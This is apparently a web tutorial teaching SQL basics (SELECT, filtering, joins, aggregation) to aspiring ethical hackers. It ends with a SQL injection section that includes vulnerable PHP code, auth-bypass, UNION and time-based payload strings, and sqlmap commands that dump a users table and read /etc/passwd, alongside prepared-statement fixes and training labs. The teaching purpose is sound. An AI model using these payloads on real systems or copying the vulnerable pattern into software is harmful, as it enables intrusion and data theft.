The complete, beginner-friendly guide to SQL — from SELECT statements to joins and injection. Learn the language of databases that powers every application on Earth.
SQL (Structured Query Language) is the standard language for communicating with relational databases. Created at IBM in the 1970s, it's been the backbone of data storage for over 50 years. Whether you're building a website, analyzing data, or hacking an application — SQL is everywhere.
Every application you use daily — Instagram, WhatsApp, Amazon, your bank — stores its data in SQL databases. The moment you log in, SQL queries run behind the scenes to fetch your account, verify your password, and load your feed.
For ethical hackers, SQL is essential for one simple reason: SQL Injection. SQLi has been the #1 or #2 vulnerability in the OWASP Top 10 for over a decade. It has caused some of the largest data breaches in history — affecting billions of users. If you understand SQL, you can find and exploit SQLi. If you don't, you're blind to one of the most impactful attack classes.
Every app, website, and service uses SQL databases to store critical data.
SQLi is one of the most impactful vulnerabilities — understanding SQL means you can find and exploit it.
SQL is one of the most in-demand skills in IT, security, and data roles.
Query, filter, and analyze millions of records in seconds.
SQLi bounties can be worth $5,000 to $50,000+ per finding.
To defend databases, you must understand how they work.
A relational database is organized into tables. Each table has columns (fields) and rows (records). Think of it like a spreadsheet — but much more powerful.
| id | username | role | active | |
|---|---|---|---|---|
| 1 | admin | admin@site.com | admin | 1 |
| 2 | john | john@site.com | user | 1 |
| 3 | alice | alice@site.com | moderator | 0 |
| 4 | bob | bob@site.com | user | 1 |
| Category | Purpose | Commands |
|---|---|---|
| DQL | Query data | SELECT |
| DML | Modify data | INSERT, UPDATE, DELETE |
| DDL | Define structure | CREATE, ALTER, DROP |
| DCL | Control access | GRANT, REVOKE |
| TCL | Transactions | COMMIT, ROLLBACK |
SELECT, select, and SeLeCt are all the same. Convention is to write keywords in UPPERCASE and table/column names in lowercase.
SELECT is the most-used SQL statement. It retrieves data from one or more tables. Master this, and you've mastered half of SQL.
-- Retrieve all columns from users
SELECT * FROM users;
-- Select specific columns
SELECT username, email FROM users;
-- Rename columns with aliases
SELECT username AS name, email AS contact
FROM users;
-- Distinct values (remove duplicates)
SELECT DISTINCT role FROM users;
-- Combine columns
SELECT CONCAT(username, ' <', email, '>') AS contact
FROM users;
-- Limit rows returned
SELECT * FROM users LIMIT 5;
-- Ascending (default)
SELECT * FROM users ORDER BY username;
-- Descending
SELECT * FROM users ORDER BY id DESC;
-- Multi-column sort
SELECT * FROM users
ORDER BY role ASC, username DESC;
The WHERE clause filters rows based on conditions. This is where SQL really shines — and where SQL injection lives.
-- Simple equality
SELECT * FROM users WHERE role = 'admin';
-- Multiple conditions (AND)
SELECT * FROM users
WHERE role = 'user' AND active = 1;
-- OR condition
SELECT * FROM users
WHERE role = 'admin' OR role = 'moderator';
-- IN (match any of a list)
SELECT * FROM users
WHERE id IN (1, 3, 5);
-- BETWEEN (range)
SELECT * FROM users WHERE id BETWEEN 2 AND 4;
-- LIKE (pattern matching)
SELECT * FROM users WHERE email LIKE '%@gmail.com';
SELECT * FROM users WHERE username LIKE 'a%'; -- starts with 'a'
SELECT * FROM users WHERE username LIKE '%o%'; -- contains 'o'
-- NULL handling
SELECT * FROM users WHERE email IS NULL;
SELECT * FROM users WHERE email IS NOT NULL;
| Wildcard | Meaning | Example |
|---|---|---|
% | Zero or more characters | 'a%' → apple, admin, abc |
_ | Exactly one character | 'a_' → ab, ac, ad |
[abc] | Any character in brackets | '[ab]%' → apple, banana |
-- Top 10 highest IDs
SELECT * FROM users
ORDER BY id DESC
LIMIT 10;
-- Pagination — page 2 (skip 10, show 10)
SELECT * FROM users
ORDER BY id
LIMIT 10 OFFSET 10;
-- Combined with WHERE
SELECT username, email
FROM users
WHERE active = 1
ORDER BY username
LIMIT 5;
-- Insert single row
INSERT INTO users (username, email, role, active)
VALUES ('charlie', 'charlie@site.com', 'user', 1);
-- Insert multiple rows
INSERT INTO users (username, email, role)
VALUES
('dave', 'dave@site.com', 'user'),
('eve', 'eve@site.com', 'admin');
-- Update one row
UPDATE users
SET role = 'moderator'
WHERE username = 'john';
-- Update multiple columns
UPDATE users
SET active = 1, email = 'new@site.com'
WHERE id = 3;
-- ⚠️ DANGER: no WHERE means update ALL rows!
UPDATE users SET active = 0;
-- Delete specific row
DELETE FROM users WHERE id = 5;
-- Delete with condition
DELETE FROM users WHERE active = 0;
-- ⚠️ DANGER: deletes ALL rows
DELETE FROM users;
WHERE with UPDATE and DELETE. Without it, you'll modify or delete every row in the table. Test with a SELECT first.
Aggregate functions perform calculations across multiple rows and return a single value.
| Function | Purpose |
|---|---|
COUNT() | Number of rows |
SUM() | Total sum |
AVG() | Average |
MIN() | Smallest value |
MAX() | Largest value |
-- Count all users
SELECT COUNT(*) AS total_users FROM users;
-- Count active users
SELECT COUNT(*) FROM users WHERE active = 1;
-- Count distinct roles
SELECT COUNT(DISTINCT role) FROM users;
-- Get latest registered user ID
SELECT MAX(id) FROM users;
-- Average order value
SELECT AVG(amount) AS avg_order FROM orders;
Real databases have many tables. JOINs let you combine data from multiple tables based on related columns.
| order_id | user_id | amount | status |
|---|---|---|---|
| 101 | 1 | 99.99 | completed |
| 102 | 2 | 49.50 | pending |
| 103 | 2 | 150.00 | completed |
| 104 | 4 | 25.00 | cancelled |
SELECT u.username, o.amount, o.status
FROM users u
INNER JOIN orders o ON u.id = o.user_id;
-- Show every user even if they have no orders
SELECT u.username, o.amount
FROM users u
LEFT JOIN orders o ON u.id = o.user_id;
-- Find users with NO orders
SELECT u.username
FROM users u
LEFT JOIN orders o ON u.id = o.user_id
WHERE o.order_id IS NULL;
| JOIN | Returns |
|---|---|
INNER JOIN | Only matching rows in both tables |
LEFT JOIN | All left rows + matching right rows |
RIGHT JOIN | All right rows + matching left rows |
FULL OUTER JOIN | All rows from both tables |
CROSS JOIN | Every combination (Cartesian product) |
-- Count users per role
SELECT role, COUNT(*) AS count
FROM users
GROUP BY role;
-- Total amount spent per user
SELECT u.username, SUM(o.amount) AS total_spent
FROM users u
JOIN orders o ON u.id = o.user_id
GROUP BY u.username
ORDER BY total_spent DESC;
-- HAVING filters groups (like WHERE filters rows)
SELECT role, COUNT(*) AS count
FROM users
GROUP BY role
HAVING count > 1;
WHERE filters rows before grouping. HAVING filters groups after aggregation.
-- Users who placed orders over $100
SELECT username FROM users
WHERE id IN (
SELECT user_id FROM orders WHERE amount > 100
);
-- Users whose ID is above average
SELECT username FROM users
WHERE id > (SELECT AVG(id) FROM users);
-- Subquery in SELECT
SELECT username,
(SELECT COUNT(*) FROM orders WHERE user_id = u.id) AS order_count
FROM users u;
SQL Injection (SQLi) occurs when user input is inserted into SQL queries without proper sanitization. Attackers can then manipulate the query to bypass authentication, dump databases, or even execute OS commands.
// ❌ VULNERABLE
$username = $_POST['username'];
$password = $_POST['password'];
$query = "SELECT * FROM users WHERE username='$username' AND password='$password'";
$result = mysqli_query($conn, $query);
-- Normal query
SELECT * FROM users
WHERE username='admin' AND password='secret';
-- Attacker enters: admin' --
SELECT * FROM users
WHERE username='admin' --' AND password='anything'
-- The -- comments out the rest. Login succeeds!
-- Or with OR 1=1
SELECT * FROM users
WHERE username='admin' OR '1'='1' --' AND password='x'
-- Auth bypass
' OR '1'='1
' OR 1=1--
admin'--
' OR 'x'='x
-- Union-based extraction
' UNION SELECT username, password FROM users--
' UNION SELECT NULL, table_name FROM information_schema.tables--
-- Time-based blind
' OR SLEEP(5)--
' AND IF(1=1, SLEEP(5), 0)--
-- Boolean-based blind
' AND 1=1--
' AND 1=2--
Data returned directly in the response (Union-based, Error-based).
No data returned. Use boolean or time-based inference.
Exfiltrate via DNS or HTTP requests to attacker-controlled servers.
// ✅ SAFE — prepared statement
$stmt = $conn->prepare(
"SELECT * FROM users WHERE username=? AND password=?"
);
$stmt->bind_param("ss", $username, $password);
$stmt->execute();
// Now user input is treated as DATA, never as SQL code.
Automatic SQLi detection and exploitation. The #1 SQLi tool.
Native command-line clients for MySQL and PostgreSQL.
Universal GUI database client. Supports all major databases.
Web-based MySQL admin panel — a common attack target.
Intercept and manipulate requests. Integrate with sqlmap.
GUI SQL injection tools for Windows-based pentesting.
# Basic SQLi test
sqlmap -u "http://target.com/page.php?id=1"
# List databases
sqlmap -u "http://target.com/page.php?id=1" --dbs
# Dump users table
sqlmap -u "http://target.com/page.php?id=1" -D db -T users --dump
# Test POST request
sqlmap -u "http://target.com/login" --data="user=admin&pass=test"
# Read a file via SQLi
sqlmap -u "..." --file-read=/etc/passwd
// ❌ NEVER — Vulnerable to SQLi
$sql = "SELECT * FROM users WHERE id = " . $_GET['id'];
// ✅ ALWAYS — Safe with prepared statements
$stmt = $pdo->prepare("SELECT * FROM users WHERE id = ?");
$stmt->execute([$_GET['id']]);
Modern vulnerable app with dozens of SQLi challenges.
Damn Vulnerable Web App — classic SQLi training.
Free, world-class SQL injection labs.
Real-world vulnerable machines with SQLi.
Install MySQL locally and practice queries on your own DB.
HackerOne and Bugcrowd — get paid for legal SQLi findings.
SQL is the language of data. Every modern application relies on it, and every serious security professional must understand it. Whether you want to build apps, analyze data, or hunt bugs — SQL is a mandatory skill.
For ethical hackers, SQL is doubly important. Understanding SQL means you can find and exploit SQL injection — one of the most impactful vulnerability classes in history. It's been behind breaches at Sony, Yahoo, TalkTalk, and countless others — affecting billions of users.
The journey follows a clear path:
Happy hacking — ethically. 🗄️